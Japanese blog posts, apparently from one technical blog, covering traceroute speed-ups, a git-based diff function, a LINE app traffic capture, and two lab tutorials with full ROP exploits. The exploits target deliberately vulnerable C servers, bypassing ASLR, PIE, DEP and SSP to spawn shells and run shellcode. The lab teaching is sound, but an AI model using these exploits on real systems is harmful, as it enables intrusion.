高速にtracerouteする

tracerouteに時間がかかる原因には、主に次の二つがある。

  • DNS逆引きのレスポンス待ち
  • ICMP Time Exceededを返さないhopのレスポンス待ち

したがって、DNS逆引きの無効化およびタイムアウト時間の短縮を行えば素早くtracerouteできる。

Windowsの場合

> tracert -d -w 1 example.com

IPv4IPv6を強制するには、それぞれ-4-6をつける。

Linuxの場合

$ sudo traceroute -I -n -w 1 example.com

Linuxの場合、デフォルトではUDPパケットが使われるが、環境によってはファイアウォールなどで遮断されている可能性がある。 ICMPパケットを使うには-Iをつける。ただし、これにはroot権限が必要になる。

IPv4IPv6を強制するには、それぞれ-4-6をつける。 また、-q 1をつけることでhopごとに送信するリクエスト数をデフォルトの3から1に変更することもできる。

colordiffを使わずにdiffをカラー表示する

diffの出力は標準でカラー表示されない。 カラー表示するためのコマンドとしてはcolordiffがあるが、多くの場合標準では入っていないためインストールする必要がある。 ところが、diffのカラー表示はgitを使ってもできることを知った。

git diffは比較するファイルがgitの管理下になくても使える。 また、-uオプションをつけなくてもunified diff形式で表示される。

20140703003336

昨今の開発環境ではgitがインストールされている場合が多く、このような環境では便利である。

エイリアス関数を作る

gitがインストールされているときはgit diffを使うエイリアス関数(bash用)を作ってみた。

diffu() {
    local DIFF
    if hash git &>/dev/null; then
        DIFF="git diff --no-index"
    else
        DIFF="diff -u"
    fi
    if [[ $# -eq 1 ]]; then
        $DIFF "$1~" "$1"
    else
        $DIFF "$@"
    fi
}

引数が1個のみの場合は、emacsvimが作るバックアップファイルとのdiffを試みる。

Android版LINE Appの通信を覗いてみる

メッセージングアプリLINE(Android版)が行う通信をパケットキャプチャにより適当に調べてみる。

環境

Androidバージョン: 4.1.2
LINEバージョン: 4.4.1

手順

tPacketCaptureというアプリケーションを利用すると、root権限なしでパケットキャプチャができる。 今回はこのアプリケーションを使いパケットキャプチャを行った。 通信内容としては、適当な公式アカウントを追加した後、数回メッセージ送信および自動返信メッセージの受信を行った。

結果

確認できた通信先は以下の通り。

1 | 119.235.235.xxx | LINE (LINE Corporation)            | obs-jp.line-apps.com (HTTP/HTTPS)   | メッセージ送受信
2 | 120.29.145.xxx  | AKAMAI-4 (Akamai International BV) | dl.stickershop.line.naver.jp (HTTP) | スタンプに関するメタデータ?
3 | 203.104.131.xxx | NHN-JAPAN (NHN Japan Corporation)  | (TCP/10006)                         | エラーログの送信

主にメッセージのやり取りは1のIPと行われているようだった。 HTTPで行われるのは公式アカウントのプレビュー画像の送受信のみで、実際のメッセージの送受信はHTTPSにて行われていた。 そこでのClientHelloおよびServerHelloパケットの内容を抜き出すと、次のようになる。

Secure Sockets Layer
    SSL Record Layer: Handshake Protocol: Client Hello
        Version: TLS 1.0 (0x0301)
        Handshake Protocol: Client Hello
            Version: TLS 1.0 (0x0301)
            Cipher Suites (35 suites)
                Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
                Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
                Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
                Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
                Cipher Suite: TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002)
                Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004)
                Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005)
                Cipher Suite: TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c)
                Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e)
                Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f)
                Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007)
                Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
                Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
                Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)
                Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
                Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
                Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
                Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
                Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
                Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
                Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
                Cipher Suite: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003)
                Cipher Suite: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d)
                Cipher Suite: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)
                Cipher Suite: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)
                Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
                Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
                Cipher Suite: TLS_RSA_WITH_DES_CBC_SHA (0x0009)
                Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA (0x0015)
                Cipher Suite: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x0012)
                Cipher Suite: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003)
                Cipher Suite: TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008)
                Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014)
                Cipher Suite: TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011)
                Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Secure Sockets Layer
    TLSv1 Record Layer: Handshake Protocol: Multiple Handshake Messages
        Handshake Protocol: Server Hello
            Version: TLS 1.0 (0x0301)
            Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
        Handshake Protocol: Certificate
            Certificates (3207 bytes)
                Certificate (id-at-commonName=*.line-apps.com,id-at-organizationalUnitName=System Operation Team,id-at-organizationName=LINE Corporation,id-at-localityName=Shibuya-ku,id-at-stateOrProvinceName=Tokyo,id-at-countryName=JP,id-at-serialNumber=
                        subjectPublicKeyInfo
                            algorithm (rsaEncryption)
                                Algorithm Id: 1.2.840.113549.1.1.1 (rsaEncryption)
                            Padding: 0
                            subjectPublicKey: 3082010a0282010100ca66804c12c4ea44db1b9883a91dc2...
                        extensions: 9 items
                            Extension (id-ce-subjectAltName)
                                Extension Id: 2.5.29.17 (id-ce-subjectAltName)
                                GeneralNames: 2 items
                                    GeneralName: dNSName (2)
                                        dNSName: *.line-apps.com
                                    GeneralName: dNSName (2)
                                        dNSName: line-apps.com
                Certificate (id-at-commonName=GeoTrust SSL CA,id-at-organizationName=GeoTrust, Inc.,id-at-countryName=US)
                Certificate (id-at-commonName=GeoTrust Global CA,id-at-organizationName=GeoTrust Inc.,id-at-countryName=US)

ClientHelloのCipher SuitesにおいてTLS_RSA_WITH_RC4_128_MD5 (0x0004)が優先されていることから、ServerHelloでもTLS_RSA_WITH_RC4_128_MD5 (0x0004)が選択されている。 Android 4.3以下においてHttpURLConnectionクラスを使って通信を行うとこのようになることが知られているため、LINE Appもこれに類するAPIを使っているものと思われる。 また、subjectPublicKeyInfoを調べたところ、RSAの鍵長は2048bitであった。

2のIPとの通信では、何かしらのメタデータと思われるJSONデータがHTTPにより受信されていた。 HTTPのHostヘッダの記述から、スタンプに関するものと推測される。

3のIPとの通信では、アプリ起動中に発生したと思われる例外エラーの内容が平文にて送信されていた。 この中には端末のIPアドレス、通信種別(WifiLTE、3G)、SIMキャリア情報、言語設定の内容、Androidバージョン、機種情報が含まれる。

まとめ

Android APIの仕様によりイマイチなCipherSuiteが選ばれていたり、エラーログが平文で送信されていたりするものの、とりあえずメッセージの送受信についてはTLSで暗号化されているようである。 iOSWindowsなど他のOSのアプリであれば、より暗号強度の高いCipherSuiteが選ばれるのかもしれない。

関連リンク

Smashing the stack bypassing ASLR+PIE+DEP+SSP(+RELRO)

buffer over-readおよびスタックバッファオーバーフローを利用し、ASLR+PIE+DEP+SSP(+RELRO)がすべて有効な条件下におけるシェル起動をやってみる。 なお、ここではGOT overwriteなどは行わないため、RELROの有無に意味はない。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

buffer over-readおよびスタックバッファオーバーフローが起こせるforkサーバを書いてみる。

/* echod.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>

void handle_client(int c)
{
    char buf[100];
    int size;
    recv(c, &size, 4, 0);
    recv(c, buf, size, 0);
    send(c, buf, size, 0);
}

int main(int argc, char *argv[])
{
    int s, c;
    struct sockaddr_in addr;
    int port;
    int pid;

    port = atoi(argv[1]);

    s = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(s, (struct sockaddr *)&addr, sizeof(addr));

    listen(s, 5);

    while (1) {
        c = accept(s, NULL, NULL);
        pid = fork();
        if (pid == 0) {
            close(s);
            handle_client(c);
            close(c);
            return 0;
        } else {
            close(c);
        }
    }
}

このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。

ASLR+PIE+DEP+SSP(+RERLO)有効にてコンパイルし、サーバを起動してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fPIE -pie -Wl,-z,relro,-z,now echod.c

$ ./a.out 5000 &
[1] 5119

ここでchecksec.shを使い、各種セキュリティ機構の有無を確認すると次のようになる。

$ wget http://www.trapkit.de/tools/checksec.sh

$ chmod +x checksec.sh

$ ./checksec.sh --file a.out
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   a.out

RELRO、SSP (Stack canary)、DEP (NX)、PIEがすべて有効になっていることがわかる。

エクスプロイトコードを書いてみる

send/recvを使ったROP stagerによるエクスプロイトコードを書くと、次のようになる。

# exploit.py

import struct
import socket
import telnetlib

bufsize = 100
sock_fd = 4
stack_size = 0x800

offset_retaddr = 0x8d2                # objdump -d a.out | grep -A1 '<handle_client>'
offset_bss = 0x2008                   # readelf -S a.out
offset_got = 0x1fac                   # readelf -S a.out
offset_plt_recv = 0x610               # objdump -d -j.plt a.out
offset_plt_send = 0x630               # objdump -d -j.plt a.out
offset_got_start = offset_got + 0x20  # objdump -d -j.plt a.out
offset_pop4 = 0x96c                   # objdump -d a.out
offset_pop_ebp = 0x6fe                # objdump -d a.out
offset_pop_ebx = 0x540                # objdump -d a.out
offset_leave_ret = 0x908              # objdump -d a.out
offset_libc_start = 0x000193e0        # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main"
offset_libc_system = 0x0003f430       # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
offset_libc_exit = 0x00032fb0         # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"

size = bufsize + 20
buf = 'AAAA'

s = socket.create_connection(('localhost', 5000))
s.sendall(struct.pack('<I', size))
s.sendall(buf)
data = s.recv(size)
print "[+] received: %r" % data
s.close()

canary = data[bufsize:bufsize+4]
retaddr = struct.unpack('<I', data[bufsize+16:bufsize+16+4])[0]
print "[+] canary = %r" % canary
print "[+] retaddr = %08x" % retaddr
base_bin = retaddr - offset_retaddr
print "[+] base_bin = %08x" % base_bin

buf = 'A' * bufsize
buf += canary
buf += 'AAAA' * 3
buf += struct.pack('<I', base_bin + offset_pop_ebx)
buf += struct.pack('<I', base_bin + offset_got)
buf += struct.pack('<I', base_bin + offset_plt_send)
buf += struct.pack('<I', base_bin + offset_pop4)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', base_bin + offset_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_bin + offset_pop_ebx)
buf += struct.pack('<I', base_bin + offset_got)
buf += struct.pack('<I', base_bin + offset_plt_recv)
buf += struct.pack('<I', base_bin + offset_pop4)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', base_bin + offset_bss + stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_bin + offset_pop_ebp)
buf += struct.pack('<I', base_bin + offset_bss + stack_size)
buf += struct.pack('<I', base_bin + offset_leave_ret)
size = len(buf)

s = socket.create_connection(('localhost', 5000))
s.sendall(struct.pack('<I', size))
s.sendall(buf)
data = s.recv(4)
addr_libc_start = struct.unpack('<I', data)[0]
print "[+] addr_libc_start = %08x" % addr_libc_start
base_libc = addr_libc_start - offset_libc_start
print "[+] base_libc = %08x" % base_libc

buf = 'AAAA'
buf += struct.pack('<I', base_libc + offset_libc_system)
buf += struct.pack('<I', base_libc + offset_libc_exit)
buf += struct.pack('<I', base_bin + offset_bss + stack_size + 20)
buf += struct.pack('<I', 0)
buf += '/bin/sh <&4 >&4\x00'
buf += 'A' * (100-len(buf))

s.sendall(buf)

t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

このコードは引数は取らない。

このコードは、まずbuffer over-readによりcanaryとリターンアドレスの値を読み出す。 ここで、リターンアドレスにはmain関数においてhandle_clientを呼んだ後の命令のアドレスが入る。 つまり、実行ファイル中におけるその命令のオフセットをリターンアドレスから引くことで、実行ファイルが置かれたベースアドレスが計算できる。 ここで一度コネクションが切れ、次のコネクションでは接続先のプロセスが異なるものとなるが、同一の親プロセスからforkしているためcanaryやメモリレイアウトは共通となる。

次に、実行ファイルのベースアドレスをもとにsend/recvを使ったROP stagerを送り込む。 これが実行されると、sendにより__libc_start_main関数のアドレスを読み出した後、recvによりBSSセクションから0x800バイト先にデータが読み込まれる。 そして、pop ebp; retleave; retにより読み込み先のアドレスにstack pivotを行う。

最後に、__libc_start_main関数のアドレスからlibcのベースアドレスを計算し、system関数によりシェル起動を行うROPシーケンスを送り込む。 ここでsystem関数の引数には、標準入出力をソケットに繋いだ上でシェルを起動するコマンド文字列を指定する。

なお、PIEが有効な場合において、PLTセクションをディスアセンブルすると次のようになる。

$ objdump -d -j.plt a.out

000005b0 <__libc_start_main@plt>:
 5b0:   ff a3 20 00 00 00       jmp    DWORD PTR [ebx+0x20]
 5b6:   68 28 00 00 00          push   0x28
 5bb:   e9 90 ff ff ff          jmp    550 <_init+0x3c>

ここでGOTアドレスがebx+0x20として参照されているが、このebxにはGOTセクションの先頭アドレスが入る。 したがって、readelf -S a.outなどによりGOTセクションのオフセットを調べておくことで、実行ファイル全体におけるGOTアドレスのオフセットが計算できる。 また、PLTセクションにreturnする前にはebxにGOTセクションのアドレスをセットしておく必要がある。

実行してみると、次のようになる。

$ python exploit.py
[+] received: 'AAAA09\xfd\xbf\xff\x0f\x00\x00\xd6\x84h\xb7u\x85h\xb7\xaf\xcel\xb7\xc0\xaa{\xb7\x00\x00\x00\x00\x08$\xfd\xbf7\x83d\xb709\xfd\xbf\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x009a\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf#\xfd\xbf\xfd\x82d\xb7\xac\xaf~\xb7\xf4\x9f{\xb709\xfd\xbf\x00\x00\x00\x00K\xcdl\xb7\x00\x84 \xe9\x00\x00\x00\x00\xac\xaf~\xb7\x08$\xfd\xbf\xd2\x98~\xb7'
[+] canary = '\x00\x84 \xe9'
[+] retaddr = b77e98d2
[+] base_bin = b77e9000
[+] addr_libc_start = b762d3e0
[+] base_libc = b7614000
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

canaryの値、実行ファイルのベースアドレス、libcのベースアドレスを順に得た後、シェルが起動できていることが確認できた。

ROP stager + read/writeによるASLR+DEP回避

「ROP stagerによるシェルコード実行をやってみる」では、mmapにより動的に実行可能なメモリを確保しシェルコード実行を行った。 ROP stagerには、ほかにもmprotectなどを使いすでに存在するメモリ領域を実行可能に変更するアプローチもある。 さらに、脆弱性のあるプログラムがread/writeなどのIO関数を利用している場合、そのPLTを利用することでASLR+DEPを回避することができる。 ここでは、IO関数を利用したROP stagerを使い、ASLRおよびDEPが有効な条件下でのシェル起動およびシェルコード実行をやってみる。 また、使われているlibcの詳細が不明な状況において、libcバイナリを直接読み出し詳細を調べる方法についても説明する。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

シェル起動を行うエクスプロイトコードを書いてみる

まず、rp++を使って実行ファイル(a.out)に含まれるROP gadgetsを出力する。

$ ./rp-lin-x86 --file=a.out --rop=3 --unique > gadgets.txt

出力されたROP gadgetsをもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_got_start = 0x804a008   # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

offset_system = 0x0003f430   # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
offset_exit = 0x00032fb0     # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
offset_start = 0x000193e0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main"

stack_size = 0x800

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_write)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

word = p.stdout.read(4)
addr_start = struct.unpack('<I', word)[0]
print "[+] addr_start = %08x" % addr_start
libc_base = addr_start - offset_start
print "[+] libc_base = %08x" % libc_base

addr_system = libc_base + offset_system
addr_exit = libc_base + offset_exit

buf = 'AAAA'
buf += struct.pack('<I', addr_system)
buf += struct.pack('<I', addr_exit)
buf += struct.pack('<I', addr_bss+stack_size+20)
buf += struct.pack('<I', 0)
buf += '/bin/sh <&2 >&2\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

このコードは、オーバーフローが起こせるバッファのサイズを引数に取る。

このコードは、まずwrite関数のPLTにreturnし、__libc_start_main関数のGOTアドレスに書かれている4バイトの値を出力する。 __libc_start_main関数はmain関数が呼ばれる前に呼び出されているので、この値はlibc内の__libc_start_main関数を指すアドレスとなる。 次に、read関数のPLTにreturnし、100バイトのデータを書き込み可能なメモリ領域に読み込む。 ここでは、実行ファイルのBSSセクションから0x800バイト先のアドレスを読み込み先として指定している。 最後に、pop ebp; retebpレジスタにアドレスをセットした後leave; retを実行することで、読み込み先のアドレスにstack pivotを行う。 leave命令はmov esp, ebp; pop ebpと同じ働きをするので、pivot先の最初の4バイトは新しいebpの値となり、実際のespはその次の4バイトを指す。 なお、ここまでで参照しているアドレスはすべて実行ファイル中のアドレスであるため、ASLRが有効な場合にも固定となる(実行ファイルがPIEの場合を除く)。

以上のROPシーケンスを送り込むと、__libc_start_main関数のアドレスが出力された後、read関数による100バイトの入力待ち状態となる。 あとは、__libc_start_main関数のアドレスからオフセットを引くことでlibcのベースアドレスを計算し、これをもとにsystem関数を呼び出すシーケンスを送り込む。 ここでread関数が読み込むアドレスは固定となるので、system関数の引数として与える文字列も自由に与えることができる。 ここでは、引数として端末を指している標準エラー出力を標準入出力に複製した上でシェルを呼び出すコマンドを指定している。 また、読み込み時に空けておいた0x800バイトは、ここでsystem関数が呼び出された際のスタックとして利用される。

実際に引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_start = b75573e0
[+] libc_base = b753e000
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_start = b76013e0
[+] libc_base = b75e8000
$

libcのベースアドレスを得た後、system関数によりシェルが起動していることがわかる。 また、再度実行したときlibcのベースアドレスが異なっていることから、DEPに加えASLRも回避できていることがわかる。

シェルコード実行を行うエクスプロイトコードを書いてみる

上のエクスプロイトコードではsystem関数によりシェルを起動したが、mprotect関数を使えば任意のシェルコードを実行することもできる。 実際にエクスプロイトコードを書くと次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_got_start = 0x804a008   # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

offset_mprotect = 0x000ebff0  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " mprotect"
offset_start = 0x000193e0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main"

stack_size = 0x800

# dup2(2, 0); dup2(2, 1); execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x41\x8d\x41\x3e\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_write)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

word = p.stdout.read(4)
addr_start = struct.unpack('<I', word)[0]
print "[+] addr_start = %08x" % addr_start
libc_base = addr_start - offset_start
print "[+] libc_base = %08x" % libc_base

addr_mprotect = libc_base + offset_mprotect

buf = 'AAAA'
buf += struct.pack('<I', addr_mprotect)
buf += struct.pack('<I', addr_bss+stack_size+24)
buf += struct.pack('<I', (addr_bss+stack_size+24) & ~0xFFF)
buf += struct.pack('<I', 0x1000)
buf += struct.pack('<I', 7)
buf += shellcode
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

このコードも、オーバーフローを起こすバッファのサイズを引数に取る。 シェルコードは、「ROP stagerによるシェルコード実行をやってみる」で使ったものと同じである。 また、mprotectの第一引数はメモリのページ境界でなければならないので、シェルコードが置かれるアドレスの下位12バイトを0に落としている。

引数をセットし実行してみる。

$ python exploit2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_start = b762c3e0
[+] libc_base = b7613000
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLRおよびDEPが有効な条件下で、任意のシェルコードが実行できることが確認できた。

libcバイナリの読み出しをやってみる

IO関数を使えば、GOTアドレスの値に限らず任意のメモリアドレスの内容を読み出すことができる。

これまでのコードでは、使われているlibcの詳細がわかっている前提でオフセットを計算していたが、実際には不明な場合も多い。 そこで、__libc_start_main関数のアドレスをヒントに、libcバイナリそのものを直接読み出すコードを書いてみると次のようになる。

# exploit3.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])
offset_leak = int(sys.argv[2], 16)
leak_size = int(sys.argv[3], 16)

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_got_start = 0x804a008   # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_write)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

word = p.stdout.read(4)
addr_start = struct.unpack('<I', word)[0]
print "[+] addr_start = %08x" % addr_start

addr_leak = addr_start + offset_leak

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_write)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_leak)
buf += struct.pack('<I', leak_size)
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print p.stdout.read(leak_size)
p.wait()

このコードは、バッファサイズ、__libc_start_main関数からのオフセット、読み出すサイズを順に引数に取る。 また、このコードではlibcバイナリから得られるオフセット情報は使っていない。

